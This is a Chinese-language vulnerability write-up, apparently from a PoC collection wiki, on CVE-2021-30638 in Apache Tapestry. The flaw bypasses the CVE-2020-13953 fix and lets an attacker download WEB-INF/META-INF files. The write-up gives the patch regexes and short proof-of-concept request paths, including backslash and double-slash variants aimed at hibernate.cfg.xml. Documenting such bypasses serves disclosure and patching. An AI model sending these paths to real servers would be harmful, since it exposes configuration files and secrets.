menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Some-PoC-oR-ExP-master chevron_right Apache chevron_right Tapestry chevron_right CVE-2021-30638.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    CVE-2021-30638.md
    1.43 KB / 2021-07-04 19:32:24
        ## 漏洞描述
    
    Apache Tapestry是美国阿帕奇(Apache)软件基金会的一款使用Java语言编写的Web应用程序框架。 
    Apache Tapestry 的某些版本存在处理Apache上下文资产处理中的存在信息泄露漏洞
    Tapestry允许攻击者使用构造特殊的请求URL下载WEB-INF和META-INF目录下的文件。
    
    此次是CVE-2020-13953的bypass,此前修复补丁中无法在过滤正则表达式中考虑反斜杠字符。
    
    **修复CVE-2020-13953的补丁如下:**
    
    - https://github.com/apache/tapestry-5/commit/30095a5b8e3fcae464792d6332c8bfa26c367ae9
    
    ```
    ^(web|meta)-inf/.*
    修改后
    ^(((web|meta)-inf.*)|(.*\\.tml$))
    
    
    poc:
    web-Inf/classes/hibernate.cfg.xml
    Meta-Inf/MANIFEST.mf
    folder/FolderIndex.TML
            
    ```
    
    **修复CVE-2020-13953的补丁如下:**
    - https://github.com/apache/tapestry-5/commit/c71f27f839511e50211415c4cb40ad593c643550
    - https://github.com/apache/tapestry-5/commit/cf1912291af9146ee86a4aef471ae2ab31d3a28b
    
    ```
    ^(((web|meta)-inf.*)|(.*\\.tml$))
    修改后
    ^(/*((web|meta)-inf.*)|(.*\\.tml$))
    
    poc:
    
    \\WEB-INF/something.jpg
    \\//WEB-INF/something.jpg
    //WEB-INF/something.jpg
    //\\\\WEB-INF/something.jpg
    ```
    
    ## 漏洞来源
    https://www.openwall.com/lists/oss-security/2021/04/27/3
    
    
    ## 漏洞影响
    - Apache Tapestry 5.4.0 —— 5.6.3
    - Apache Tapestry 5.7.0 —— 5.7.2
    
    ## 其他
    - 测试case文件——ContextAssetRequestHandlerTest.java
    - 正则表达式——ContextAssetRequestHandler.java
    
    
    
    
    
    links
    file_download